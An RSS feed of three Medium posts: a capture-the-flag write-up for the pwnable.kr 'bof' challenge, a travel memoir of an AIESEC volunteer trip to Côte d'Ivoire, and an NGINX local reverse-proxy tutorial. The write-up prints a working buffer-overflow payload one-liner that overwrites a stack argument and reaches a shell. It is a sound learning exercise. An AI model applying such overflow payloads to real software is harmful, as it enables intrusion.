<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ayobami on Medium]]></title>
        <description><![CDATA[Stories by ayobami on Medium]]></description>
        <link>https://medium.com/@dhaiveed?source=rss-e5b8dac631c3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*d0uRwXsximLaYcZR.jpg</url>
            <title>Stories by ayobami on Medium</title>
            <link>https://medium.com/@dhaiveed?source=rss-e5b8dac631c3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 03:31:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dhaiveed/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[bof [pwnable.kr]]]></title>
            <link>https://medium.com/@dhaiveed/bof-pwnable-kr-2ad5b58304b2?source=rss-e5b8dac631c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/2ad5b58304b2</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[gdb]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[pwndbg]]></category>
            <dc:creator><![CDATA[ayobami]]></dc:creator>
            <pubDate>Thu, 06 Aug 2026 02:05:18 GMT</pubDate>
            <atom:updated>2026-08-06T02:05:18.843Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmo1LRZcrmzbhdMnZfmfoQ.png" /></figure><p>Among the files sitting in the home directory, only two actually matter: bof and bof.c. Everything else is scenery.</p><p>Cracking open bof.c, the whole challenge boils down to one function. func() takes an argument, reads some input from the user, does absolutely nothing useful with that input, and then compares the <em>original argument</em> against a hardcoded value. On the surface that sounds harmless — we don&#39;t control the argument, right? Right up until you remember that &quot;reads some input&quot; is being handled by gets(), and gets() is basically a loaded gun with the safety filed off. Straight from the man page:</p><blockquote><em>Never use </em><em>gets().</em></blockquote><p>That’s not a warning, that’s the whole entry. gets() performs zero bounds checking — it will happily let you write as many bytes as you want into a buffer that was only ever sized for a handful. Which means: even though we can&#39;t touch the function&#39;s argument directly, we can absolutely walk right past our buffer and scribble over whatever&#39;s sitting next to it on the stack. Spoiler: that &quot;whatever&quot; is the argument itself.</p><h3>Popping the hood with pwndbg</h3><p>I fired up gdb with the pwndbg extension and disassembled func:</p><pre>0x565561fd &lt;+0&gt;:     push   ebp<br>0x565561fe &lt;+1&gt;:     mov    ebp,esp<br>0x56556200 &lt;+3&gt;:     push   esi<br>0x56556201 &lt;+4&gt;:     push   ebx<br>0x56556202 &lt;+5&gt;:     sub    esp,0x30<br>...<br>0x56556210 &lt;+19&gt;:    mov    eax,gs:0x14<br>0x56556216 &lt;+25&gt;:    mov    DWORD PTR [ebp-0xc],eax     ; stack canary planted<br>...<br>0x5655622d &lt;+48&gt;:    sub    esp,0xc<br>0x56556230 &lt;+51&gt;:    lea    eax,[ebp-0x2c]               ; &lt;-- the good stuff<br>0x56556233 &lt;+54&gt;:    push   eax<br>0x56556234 &lt;+55&gt;:    call   0x56556060 &lt;gets@plt&gt;<br>...<br>0x5655623c &lt;+63&gt;:    cmp    DWORD PTR [ebp+0x8],0xcafebabe<br>0x56556243 &lt;+70&gt;:    jne    0x56556272 &lt;func+117&gt;<br>...<br>0x56556268 &lt;+107&gt;:   call   0x565560a0 &lt;system@plt&gt;</pre><p>The line that matters is lea eax, [ebp-0x2c]. That instruction loads the <em>address</em> of our input buffer — ebp - 0x2c — and hands it straight to gets(). So our buffer starts 0x2c (44) bytes below the saved frame pointer. Meanwhile, the value func actually cares about — the one being compared against 0xcafebabe — lives at [ebp + 0x8], the function&#39;s own argument slot, sitting comfortably <em>above</em> ebp.</p><p>Two addresses, same stack frame, one gullible gets() call in between. If we write a string long enough to start at ebp - 0x2c and keep going until we cross ebp + 0x8, we&#39;re no longer &quot;providing input&quot; — we&#39;re directly patching the value the cmp instruction reads.</p><h3>Doing the math</h3><p>The distance from our buffer’s start to the argument slot is just arithmetic on the offsets:</p><pre>distance = 0x8 - (-0x2c) = 0x2c + 0x8 = 0x34 = 52 bytes</pre><p>So the payload shape is: <strong>52 bytes of filler</strong>, followed immediately by <strong>4 bytes spelling out </strong><strong>0xcafebabe</strong> in little-endian order (since x86 is little-endian, that&#39;s \xbe\xba\xfe\xca). Once those 4 bytes land at [ebp+0x8], the cmp/jne pair at +63/+70 falls through into the branch that calls setregid() and then system() — which, per the string reference a few lines down, is our ticket to a shell.</p><h3>Building the exploit</h3><p>Nothing fancy — just padding plus a packed integer:</p><pre>(python3 -c &quot;import struct,sys; sys.stdout.buffer.write(b&#39;a&#39;*52 + struct.pack(&#39;&lt;I&#39;, 0xcafebabe))&quot;; cat) | ./bof</pre><p>Piping that in, func receives our forged 0xcafebabe, sails past the guard check, and drops us into a shell running with the process&#39;s effective group ID (thanks to that setregid() call). A quick id and cat flag later, and the challenge folds.</p><p>— c4pt0r</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2ad5b58304b2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[a memoir: Côte D’ivoire]]></title>
            <link>https://medium.com/@dhaiveed/a-memoir-c%C3%B4te-divoire-dab46bad215d?source=rss-e5b8dac631c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/dab46bad215d</guid>
            <category><![CDATA[volunterring]]></category>
            <category><![CDATA[côte-divoire]]></category>
            <category><![CDATA[aiesec]]></category>
            <category><![CDATA[vacation]]></category>
            <dc:creator><![CDATA[ayobami]]></dc:creator>
            <pubDate>Sat, 04 Feb 2023 11:23:51 GMT</pubDate>
            <atom:updated>2023-02-04T11:45:24.620Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8QNQtCYSRSCPeHw2laxlQ.jpeg" /><figcaption>taken from one side of Saints Paul Cathedral</figcaption></figure><p>Travel Date: 7 January 2020</p><p>Travel Time: 7am (Nigerian Time)</p><p>Destination: Côte D’ivoire</p><p>Purpose: AIESEC Volunteer Experience; have [text redacted for vulgarity] fun.</p><p>“Nigerian time” is usually frowned upon, but i was seriously yearning for it on that day. Due to some reasons NEPA (PHCN) decided that night would be a Florence and the Machine title; there was No Light; and oh God i really needed my zombie phone to still have some charge left by morning but yeah, turning it off till morning should work (right?). Anyway, i wake up, and get ready. It’s 6:30 and i’m trying to order an Uber. First one says he can’t go to my destination (Maza Maza, Lagos) and i’m like maybe this guy doesn’t just want money. Second Cab says the same… third too. It’s 6:45 already and i’m now scared i won’t be able to make it in time. I didn’t know that Uber drivers feared going to that area because of the notorious traffic and terrible the road. “You’ve blown it again, Ayobami” That was all that was going through my head. Luckily i had a friend i was going with; her name is Tope. She was already at the park and she would call me if the bus was about to take it’s leave.</p><p>Trying to describe all that day would probably take the whole essay because so many things happened. But after an hour of waiting (i exhausted my mobile data and my phone died, i also had to borrow a neighbours phone to order an Uber… i got the same response), i finally got an Uber. How? you might ask. I did not tell him exactly where i was going. I told him i was going to Festac, and i didn’t reveal that i was going to Maza Maza until we got to Festac. Man was furious lmao, but sorry oga… i gats reach my destination. Anyway, it’s around 9 or so; and I just arrived at the park. The bus was still there; Halleluyah!. I bought my ticket and I checked my luggage in and finally! i was en route Côte D’ivoire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Ksgy38C1eB6x_FjgaMhAg.jpeg" /><figcaption>Temi and Tope</figcaption></figure><p>The journey was an incredibly long one. It was pretty uneventful too. I slept so much i was tired of sleeping. Sometimes i talked and played with my companions (Temi and Tope); for the first 3 hours and from then on, it was solo. We were stopped and searched at the Ghana border. I had to pay an extra fee to cross the border because i did not have a passport. (Nigerian passport officials are a total mess!!). I slept again after then till we reached Côte D’ivoire only waking up at intervals to view the scenery. We arrived Côte D’ivoire the afternoon of the next day. I was sleeping for most of it so i don’t really remember much of our entry. But some time after entry, i woke up after hearing some loud murmurings, apparently we were going off-course. Everybody was agitated and they requested the conductor to reveal our new destination; it was the Police Station. What? A Police Station? On my first day in this new country? This was already an interesting journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b52ZHoYTQilmYqzSa75gAw.jpeg" /><figcaption>Taken at one of the bars in front of the station.</figcaption></figure><p>It stopped being interesting four hours later and we were still there. Apparently, our bus carried illegal load. We didn’t leave there till night and we were so tired. I had a little feel of the night life, and i liked it. Ivorians like to drink mehnnnn. We arrived at our accommodation and my “experience” officially started.</p><p>I had Attieke that night, it’s a local food that’s made of cassava (looks sorta like garri). It’s usually eaten with a variety of soup. We had it with chicken and sauce. I didn’t like it and i swore never to have it again. I couldn’t be more wrong. Before i left that country; i could finish two wraps of Attieke in one sitting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBDKMjHu39LBeU1g84OjUQ.jpeg" /><figcaption>Top to Bottom: Attieke, fish and plantain. Eggs, and some sort of sauce.</figcaption></figure><p>We arrived on a Wednesday, got settled in, got our sim cards (although mine gave up on me on the second day). We stayed at the MESAD apartment at Incha’ala, Koumassi. Our apartment was a storey building. I think it looked french. Our rooms were upstairs and we were the only ones there. The Exchange Participants and the LCVP IGV in AIESEC FUPA; Yaya Diarrasouba (I think that’s the spelling) An awesome guy all-round.</p><p>Cote Divoire, well Abidjan is so beautiful. The first thing you notice is the wonderful roads. The pretty high-rise hotels, the LOTS of boulangeries around (somewhere they sell bread). Their street night life is also beautiful. In some places, you’ll find some men playing checkers (there’s rows of them), some playing table soccer, some playing actual soccer, and there was this sport I’d never seen before; pétanque. it involves throwing a metal ball. I don’t know the rules of the game, but it was nice to watch. We stayed close to a huge MULTIPURPOSE field. It was mostly a soccer pitch and a gymnasium of some sorts. It was also an event center and a street food vendor stand at night. That’s where we mostly ate Attieke and Chicken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kf45UPzg3jOS1vKT_8jwUg.jpeg" /><figcaption>L-R: Ben, Tope, Beatrice, Yaya pictured on the MULTIPURPOSE field facing our apartment.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W5fZZjf8wHDf5FdCNCFc0Q.jpeg" /><figcaption>L-R: Beatrice, Yaya, Temi pictured on the MULTIPURPOSE field facing our apartment.</figcaption></figure><p>The next day, Two Ghanaians (Ben and Beatrice) came to join us for two days because they wanted to see Koumassi before they went back to Ghana. They kicked off our exploring journey. We hit two ice cream spots and one boulangerie (which ended up becoming our default boulangerie). The Saturday that followed, we also had some Exchange Participants (they were from Nigeria and Liberia and were working in Cocody at the time) over at our place, we went to feast on Futubanan, Pounded Yam (Thank God!) with “gwagwa” and “sauce grand” the next morning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*yb7gc4HDQr7XCzQ97mBrJQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VYrmHJmbsNyWbd_NWjTTdw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*ZfG8N3zTpwp9FzESVGZZPQ.png" /><figcaption>Monseir Doro with the children.</figcaption></figure><p>Work started in earnest the middle of the following week. We taught the children the letters of the alphabets. Some of them went to school, some of them didn’t. In their schools, they don’t learn english until their Stage 6 (JSS 1). So, most of them don’t know a lick of english. It was quite hard to communicate because my French was shit and their English was even shitter. Luckily, I had Monsieur Doro. He was their teacher there, and they loved him. I tried my best to play with them and teach them how i best thought they would understand. I would make them repeat it until they could associate the sound with the letter because there’s no apparent relationship between letter and sound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MjPy9Om7jQljVJzE5sPaPQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kQqfmvWya7Pp5DAmOfu-A.jpeg" /></figure><p>We visited lots of restaurants over the following weeks, which mostly had burger, vegetables, fries, shawarma, shisha (yeah, you read that right.) They smoke an awful lot for a very hot country. The water is expensive (because tap water is well treated), the coke too (it is imported), the shawarma is pretty expensive for it’s size, but the only thing they serve in abundance is the fries. Maybe because the fries are french.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BandGfES6Iw5s5ZV2GcHqA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*krK82-wR76Xe6EZPO4tXzQ.jpeg" /><figcaption>entrance to the boat ride</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgawmGqjYpkdhdUkLWxBZA.jpeg" /></figure><p>My most memorable night was the night of Wrochelle’s birthday. Wrochelle is a Liberian that came on exchange to côte d’ivoire. That evening started off pretty bad. We were supposed to meet some people on a floating island. But it was on that fateful day that the undersea fiber optic cable providing internet to a lot of African countries, cut. Internet was down for the whole day. We didn’t know any french, and we couldn’t reach the person that could help us talk to the driver. We kept on riding round and round until we finally reached our saviours in the names of Musa and Bella who delivered us from the Isrealite’s journey. We (Me, Tope, Temi, Wrochelle, Musa, and Bella) then had a boat ride which took us to the boat floating island where we met the rest of the crew waiting. We were now 11 in number. This was a party already. On entering the floating island and we were informed that Entry alone attracts a 5000 CFA fee and a complimentary glass of juice. We all protested the exorbitant price and suggest we went somewhere else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FaShKbuWEyGua7Aett6Wpw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T11NNn0dvL9qsOPzTRYyLA.jpeg" /><figcaption>L-R: Musa, Che, and Bakare, Ella, Emmanuel, Tope and Wrochelle at street food</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YF25M1OU2uL15LBXxC9XWw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_45Li7jrXIMaoE7lQ7Ycw.jpeg" /><figcaption>best chicken wings EVER!!!</figcaption></figure><p>After much deliberation, we went to a chicken republic close by to eat. I and Tope found a mall while looking for a place to withdraw and we decided to buy food there only to find out that they mostly sold veggies and salads in the restaurants, …and shisha. On leaving there we hit another restaurant spot not far from there… one look at the menu and some people were protesting at the high cost again. — Are you people normal? -. After much talk, we decided to leave to another restaurant, and one look at the menu, we realized it was relatively the same price with the previous restaurant and we were disappointed. Mostly because the restaurant name was “Street Food” and we expected the food to be cheap haha. We shot ourselves in the leg there. Some of us decided to go back to the previous restaurant (it wasn’t that far). I had the best chicken wings in that restaurant. It was beautiful. It was pretty late at this time, and we were their last customers. We took pictures around the restaurant, goofing around. Then the birthday girl (who was at the other restaurant) came to ours and we asked the staff to sing for her. She got a free milkshake too. We were about leaving and then someone suggested that we do a roll call (A roll call is an activity we do in AIESEC where we just dance really cool choreography). We lost it here and started dancing outside the restaurant. We danced for close to 20 minutes and we were dripping with fun. We took pictures with the staff and i’m pretty sure it’s going to take a while for them to forget us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RBcO7Q6khXUMGfjerT3urA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mxDyQY2sbfI_MslCRQNGXQ.jpeg" /></figure><p>It was time to leave, we exchanged contacts, and we said goodbye to ourselves. Tope, Temi, Bakare, and I were going to the same place, so we took the same taxi. 3 minutes into the journey, a Policeman stops us and asks us for our IDs. [text redacted for vulgarity]. We were royally [text redacted for vulgarity]. Only Tope had her IDs with her (She’s always prepared!). “Monter! Monter!” was all i was hearing while we were heralded into their (almost full) van, and they threatened to take us to their station. We started begging, trying to say that our IDs are at home and we forgot it. It all fell on deaf ears. We spent quite a while there, one police man was trying to woo Tope it was so funny. After a while, we were let go because our cabman plead on our behalf and we had to pay 5000 CFA. What an experience. I was thrilled and scared at the same time, and i would never forget that day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XEQ_7yBGOgijupmjgzc26w.jpeg" /><figcaption>Group Picture!</figcaption></figure><p>Writing about all my wonderful experiences in Côte d’Ivoire would be a really long book, and I loved every bit of it. I had to end my experience a week earlier than i was supposed to because i had to come back for my project defense. I’d bought a ticket before the day, and i wasn’t told i’d pay extra money on the travel day.</p><p>On my departure day, i had 2000CFA with me, believing it would be enough, because i made sure to ask and i was told it woulf be enough. On stamping my ticket, i was told i’d have to pay 6000CFA because my means of identification is an ID card, not a Passport. I didn’t want to panic; there’s always a way out. I didn’t have an atm card so i couldn’t withdraw. I didn’t know anybody around that would lend me their atm too. I was almost discouraged, but Luck fell on my side, and i found a guy that i would give me cash if i transferred to him (Naira), and my experience in côte d’ivoire was finally coming to an end. As the bus rolled out of the park into the express road, I smiled, and i knew i had to go on another exchange.</p><p>THE END.</p><blockquote>Enjoy some other random pictures from the trip.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mkQ9XfHDwWzMnjdr71HvFw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jeXGDP_0rZG62vrdEk4SqQ.jpeg" /><figcaption>on the steps of the Saint Paul Cathedral.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E50KbSyTXJEE4beptkWClQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*POCzr1CXiCP5u8-_RVdpaQ.jpeg" /><figcaption>shot on Bakare’s Google Pixel.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsatb_YMtF2n82_S49qjQg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxhKYDha0AL55TlX0JfLAw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oIilxpzi10tqlAPyTWKk8g.jpeg" /><figcaption>scenes from boulangerie hunting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUVoO_2geJh-edRXHsNduA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mt4bLaojSF484crYt4-C4Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Mf7nZsIKuDfw6oT4wPmxw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fpwmk8DfMmDcCzhtrGNxuw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Hh6IBNa-1-Bw33qPN5Mow.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2zSlzIF99WdCBHJhg-0ew.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ASx67a5xIMbAo8x1T24lQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AA5WZRgtID1W2CefRSd36Q.jpeg" /><figcaption>journey to the zoo…</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1MSrrYu2brxt0pQtwEB9VQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Na-Kclbrj8m6sDbMZvYjeg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eeOi0Hsj7ieseztb9S194A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfB0-0Y60EkSmijTw8QEtg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kxBtsdxBOayyGP-BbQcUFw.jpeg" /></figure><p>— 🖤 Bami.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dab46bad215d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use NGINX as a local reverse proxy.]]></title>
            <link>https://medium.com/@dhaiveed/how-to-use-nginx-as-a-local-reverse-proxy-6cd542f66643?source=rss-e5b8dac631c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cd542f66643</guid>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[reverse-proxy]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[ayobami]]></dc:creator>
            <pubDate>Sat, 04 Feb 2023 03:58:50 GMT</pubDate>
            <atom:updated>2023-02-04T03:58:50.535Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ke4yy7c1nCk9Jcqw" /><figcaption>Photo by <a href="https://unsplash.com/@soymeraki?utm_source=medium&amp;utm_medium=referral">Javier Allegue Barros</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>POV: You’re a frontend developer, and you’re connecting your frontend to the backend. You want to simulate a working production environment on your laptop using your production URL instead of localhost, or you that love style and fashion and you’re bored and tired of seeing that localhost:3000 and you want some of that .com color in your development life. you’re in the right place. let’s get it!</p><p>To achieve the goal of typing <a href="http://myserver.co/">http://myserver.co</a> and seeing content from a server running on some port (e.g: 3000), a number of things have to happen, and we need to understand them first before we do anything.</p><p>When you enter myserver.co in your address bar, to find the server that corresponds with that address, your hosts file is checked first for any valid entry. If there is no entry, the lookup is then forwarded to an external DNS.</p><p>Let’s say you have an entry for myserver.co pointing to localhost. A request is then sent to the localhost which nginx intercepts, and proxies you to a server running on a localhost port based on your nginx server configuration rules. Using this knowledge, we know that to achieve our goal, we tweak the hosts and our nginx config file. Let’s get to it!</p><h3>Prerequisites</h3><ul><li>A PC [Linux or Windows]</li><li>Internet Connection</li><li>Basic programming knowledge.</li></ul><h3>Headings</h3><ul><li>Configuring your computer hosts</li><li>Install NGINX</li><li>Configure NGINX</li><li>NGINX on startup</li><li>Running NGINX from anywhere.</li></ul><h4>Configuring your computer hosts</h4><p>Your host file is sort of a local DNS (Domain Name Server). It maps domain names to IP addresses. On windows, the hosts file is found in C:\Windows\System32\drivers\etc\hosts, while on Linux it is found in /etc/hosts. The hosts file usually contains lines in this format; a valid IP address followed by a space then a list of the domains you want to map to that IP. For example, given this example below;</p><pre># IP_ADDRESS domainname another_domainname;<br>127.0.0.1 localhost myserver.co anotherserver.co</pre><p>If you enter <strong><em>localhost</em></strong>, <strong><em>myserver.co</em></strong> or <strong><em>anotherserver.co </em></strong>in your search bar, you will get content served from 127.0.0.1 (with the url on the search bar still displaying <strong><em>localhost</em></strong> or <strong><em>myserver.co</em></strong>). you might think this is enough to get things rolling. The problem with this is that you can’t specify domains for different ports. i.e: if you enter 127.0.0.1:3000 in your hosts file, you will not even get served anything at all.</p><p>This is where nginx comes into play. NGINX allows you to run a reverse proxy server that serves content from different servers on different ports running on the machine.</p><h4>Installing NGINX</h4><p>Follow the below links according to your computer operating system to download the NGINX software.</p><ul><li><a href="https://nginx.org/en/download.html">Windows</a></li><li><a href="https://nginx.org/en/linux_packages.html">Linux</a></li></ul><p>For Linux users, installation guides are present on the link above, but for windows users, extract the file you just downloaded by;</p><ul><li>right clicking on the file and selecting “Extract all…”</li><li>Select which folder you want to extract it to and click “Extract”</li></ul><blockquote>NB: make a mental note of this location.</blockquote><h4>Configuring NGINX</h4><p>Before we dive into configuring NGINX, we need to understand how it works. NGINX has a master server and some worker servers. The master is run once (at first run), and it is responsible for parsing and validating the configuration file and maintaining the worker services. The worker servers are responsible for intercepting requests using the rules defined in the configuration parsed by the master. The configuration file can be found:</p><ul><li>on Windows — ./conf/nginx.conf (where ./ represents the extracted folder).</li><li>on Linux — either /usr/local/nginx/conf, /etc/nginx, or /usr/local/etc/nginx.</li></ul><p>NGINX operation is controlled by directives specified in the configuration file; these directives can either be blocked or simple.</p><p>Simple directives consist of a name and parameters separated by a space and end with a semicolon. A block directive also follows the same format but contains curly braces instead of semicolons.</p><p>These curly braces can and usually have other directives; when they do, they are called contexts. The most common contexts you will use are <strong>http</strong>, <strong>server</strong>, and <strong>location</strong>.</p><p>Let us imagine the configuration file as a container [specifically a carton box] and let’s call that the main context. You can only put certain types of things in the container. e.g you wouldn’t want to put a bowl with flaming bottoms inside our box because that will obviously ruin the box. it would be better to put the flaming bowl into another normal harmless bowl (assuming the bowls are indestructible).</p><p>Let’s call the <strong><em>http</em></strong><em> </em>context a normal, harmless bowl. The bowl can fit inside a box (which represents the main context), and this bowl collects configuration for http requests for us. The <strong><em>server </em></strong>context is also a bowl, but a smaller bowl than <strong><em>http</em></strong> and it has a flaming bottom (hence if it goes inside the box directly, we burn everything down), it goes inside http and it collects configuration on how the virtual server(s) should be configured. The <strong><em>location</em></strong> context is also a bowl, but a smaller bowl than <strong>server </strong>and also has a lava bottom hence if it touches the cardboard… poof) it goes inside the <strong><em>server</em></strong>. Its job is to collect configuration on how certain routes behave. you should get the gist by now.</p><p>Back to modifying our config file, the file should contain a <strong><em>http </em></strong>directive and a <strong><em>server </em></strong>directive, add another server directive like so below</p><pre>server {<br> listen 80;<br> server_name myserver.co anotherserver.co;<br><br> location / {<br>   proxy_pass http://127.0.0.1:3000;<br> }<br>}</pre><h4>In the snippet above,</h4><ul><li><strong><em>listen</em></strong> directive declares that the server run on port 80. (which is the default http port).</li><li><strong><em>server_name</em></strong> directive declares the domain names and aliases that should be matched whenever nginx receives a request. when NGINX intercepts requests, it matches the request domain against the ones listed in server_name. that server block is used if a domain is matched. i.e.: any request to<a href="http://myserver.co/"> http://myserver.co</a> or<a href="http://anotherserver.co/"> http://anotherserver.co</a> should be snatched.</li><li><strong><em>location</em></strong> directive declares the behavior of the root route of <a href="http://myserver.co/">http://myserver.co</a> and <a href="http://anotherserver.co./">http://anotherserver.co.</a></li><li><strong><em>proxy_pass</em></strong> directive can be used in location contexts to declare that every request on / should be proxied to localhost:3000.</li></ul><p>So, given this configuration, any request to <a href="http://myserver.co:8080/">http://myserver.co</a> will be served content from http://127.0.0.1:3000. That completes the round trip from browser to server. You can now run NGINX;</p><ul><li>on windows by going to the extracted folder you made in the “Installing NGINX” section above and double clicking on “nginx.exe”, and</li><li>on linux by running “nginx” in your terminal.</li></ul><p>With that, we have successfully implemented DNS to work on the PC and NGINX to intercept requests based on the configuration rules.</p><h4><strong>NGINX on startup</strong></h4><p>Next, you can set up NGINX to run every time you start your server.</p><p><strong>Windows</strong></p><p>To run nginx on startup, you need to do the following;</p><ul><li>Go to the nginx folder you extracted.</li><li>Right click on nginx.exe and select copy shortcut.</li><li>Open “Run” by either pressing the Win+R combination or typing “run” in your start menu search.</li><li>Type in “shell:startup” or “shell:common startup” without the quotes and press enter and a folder will open up. <em>(“shell:startup” opens a folder that contains programs that should be run on startup for that user ONLY, while “shell:common startup” opens a folder that contains programs that run on startup for EVERY user on the PC).</em></li><li>Paste the shortcut you copied in the second step above into the folder that just opened.</li><li>Now, if you restart your system and if open your “Task Manager” and scroll down to entries that start with “N”, you will see that two nginx services are running… one master service and one slave service.</li></ul><p><strong>Linux</strong></p><p>There are a number of ways to run startup scripts on linux, but we’ll only be looking at the easiest, most user friendly way to do this.</p><ul><li>Locate the /etc/rc.d/rc.local file and open it with admin privileges.</li><li>You need to find the path that nginx was installed to, and you can do this by typing “where nginx”</li><li>At the end of the script, append “sh /path/to/nginx” (this path is the path that you got in step 2).</li><li>Save the file.</li><li>Now, Restart your system and if you type ps aux | grep nginx and you’ll see your nginx services running.</li></ul><h4><strong>Running NGINX from anywhere</strong></h4><p>Do you not really care about launching nginx on startup? Do you just want to be able to run nginx from your terminal directly without ‘cd’ing into its containing folder? Read on…</p><p><strong>Windows</strong></p><ol><li>First, you need a directory that’s already present in your PATH environment variable. If you don’t already have one, or you don’t know what i’m talking about, read on… if you do have one and you fully grasp this, go to number 10 of this list.</li><li>Create a folder anywhere on your system. This is the folder you’ll be putting any executables you want to run without cd’ing into their respective folders.</li><li>Open you start menu and type “Environment Variables” and press enter. if you don’t see any results, Open control panel, type in “Environment Variables” in the search bar and click on “edit environment variables”.</li><li>On the window that gets shown to you, look at the tail bottom for “Environment variables”, and click on it.</li><li>On the new window shown, you’ll see two spaces for editing. The one on top holds the environment variables for your personal account, while the second one holds environment variables for your whole system (i.e: shared variables for all the accounts on your system).</li><li>Look for the entry which says “Path” under the “Variable” column, and double click on it. Another window will open. At this point, you’re probably like SO MANY WINDOWSSSS!!… i’ll say, easy champ. We’re almost done.</li><li>Look for “Browse” on the right side of the window, and click on it.</li><li>Locate the folder you created in step 2 and select it.</li><li>Keep clicking on “Ok” till you close the endless supply of windows.</li><li>Create a new text file in that executables folder you created earlier on, and name it nginx.bat</li><li>Open that file in notepad or your favorite text editor, and add this line</li><li>cd C://path/to/nginx/folder &amp;&amp; ./nginx</li><li>Save the file and Voila! You can now open cmd and run “nginx” from anywhere in cmd.</li></ol><p>Thank you for reading!</p><p>Cheers, Bami.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cd542f66643" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>